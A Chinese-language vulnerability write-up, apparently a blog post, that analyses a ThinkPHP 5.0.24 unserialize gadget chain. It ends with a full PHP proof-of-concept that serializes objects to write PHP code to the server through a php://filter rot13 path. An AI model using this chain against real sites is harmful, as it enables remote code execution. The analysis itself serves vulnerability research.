- TP 5.0.24 & PHP 5.6.40
修改application/index/controller/Index.php
内容
<?php
namespace app\index\controller;
highlight_file(__FILE__);
class Index
{
public function index($input='')
{
echo "Welcome thinkphp 5.0.24";
echo $input;
unserialize($input);
}
}
简析
__destruct
这里和5.1.37那篇文章开头有点像,只有\think\process\pipes\Windows::__destruct
中多使用了一个 removeFiles 方法,跟进后,可见调用 file_exists,通过注释可见参数类型为 string,这样会调用$filename -> __toString()
利用点
可以看到 Collection、Model 是调用了其下的 toJson 方法
在\think\Collection::toArray
中,可以看到也是需要利用 Model 类
所以我们直接看\think\Model::toArray
即可,在追加属性阶段,有三个地方可能能利用__call
- 需要控制传入 name 来控制 key 及 attr,同时目标 __call 能解析数组参数
- 需要目标类下 __call 或 getBindAttr 有良好的利用条件
- 需要控制传入 attr,同时目标类下 __call 有良好的利用条件
文章中利用第三个点,继续分析
如何到达利用点
想要到达利用点,需要我们梳理中间的逻辑流程
$this->append
不为空$name
不为数组,不存在.
,且为当前类中方法名- 通过
$this->$$name()
控制$modelRelation
从而控制参数$attr
,可以看到getError
是最合适的
- 通过
$this->getRelationData
控制目标类$value
同时为了方便控制目标类$value
,在 getRelationData 时尽量控制第一个 if 逻辑直接返回$this->parent
Gadget
现在我们首先需要确定目标类,参数类
modelRelation
根据上面 getRelationData 中的逻辑判断,需要控制
$modelRelation->isSelfRelation == false
$modelRelation->getModel == 目标类
注意还需要3. $modelRelation->getBindAttr()
可控
根据第一个条件,我们查询继承 Relation 的类,同时由于 Relation 实现了 getModel 方法并可控,忽略第二个条件
根据第三个条件,可以看到只有\think\model\relation\OneToOne::getBindAttr
实现,其他的类既没有自身实现,同时也没有被继承实现
但由于它本身是一个接口类,我们需要利用其子类BelongsTo
或HasOne
有人会说:可否利用 else 中的逻辑判断控制返回值?
通过搜寻,发现可以创建一个 Model 专门用于返回目标类,但是注意由于Model没有实现getBindAttr不满足条件三,且子类均也未实现此方法,所以是不可行的;而其他的类在控制返回目标类时候就很累了
目标类
现在我们能确定modelRelation后,我们现在需要做的是找到一个目标类,再确定如何进一步利用,通过搜寻__call
,粗略看到疑似能利用的有Request
和Output
但实际上,在5.0.24版本中,\think\Request::__call
里self::$hook
是无法利用的
所以能利用的只有 Output,由于传入的$mothod=='getAttr'
,所以这里利用 block 函数较好
而在block 函数中,可以看到最终会调用$this->handle
下的 write 函数
write 利用
我们全局搜索下 write 函数的实现,同时注意到PHP 会自动忽略传输中多出来的参数
疑似可利用的类有三个,实现上都是$this->handler->set(...)
所以我们还要全局搜索下 set 函数的实现,以下两个类最终都实现了file_put_contents
写文件
但是注意到\think\cache\driver\Lite::set
中写入时被嵌入在 php 环境中且被引号包裹,无法实现利用
所以能利用的也只有\think\cache\driver\File::set
另外注意到,其实不是一次性调用set -> file_put_contents
实现的写入,而是在$this->setTagItem
中由没有缓存,导致将 filename 作为新的内容进行二次写入
POP Chain
直接上人家的图,文章链接在参考资料中
POC
文件名生成规则
$this->tag = 'sari3l'
print('<?cuc cucvasb();?>' . md5('tag_' . md5($this->tag)));
POC
<?php
namespace think\cache\driver;
class File{
protected $options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
// 'path' => './sari3l/',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',
'data_compress' => false,
];
protected $tag='sari3l';
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler;
function __construct()
{
$this->handler = new File();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles;
function __construct()
{
$this->handle = new Memcached();
$this->styles = ['getAttr'];
}
}
namespace think\db;
use think\console\Output;
class Query {
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne {
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->query = new Query();
$this->bindAttr = ["sari3l" => "test"];
}
}
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model {
protected $append = [];
protected $data = [];
protected $error;
public $parent;
public function __construct()
{
$this->append = ["sari3l" => "getError"];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
echo urlencode(serialize(new Windows()));
注意
parent 修饰词
不同 TP 版本中,对于$parent
修饰词不同,所以初始化覆盖时需要注意以子类为主
filename
既然要出现<
当然是只能 Linux 环境了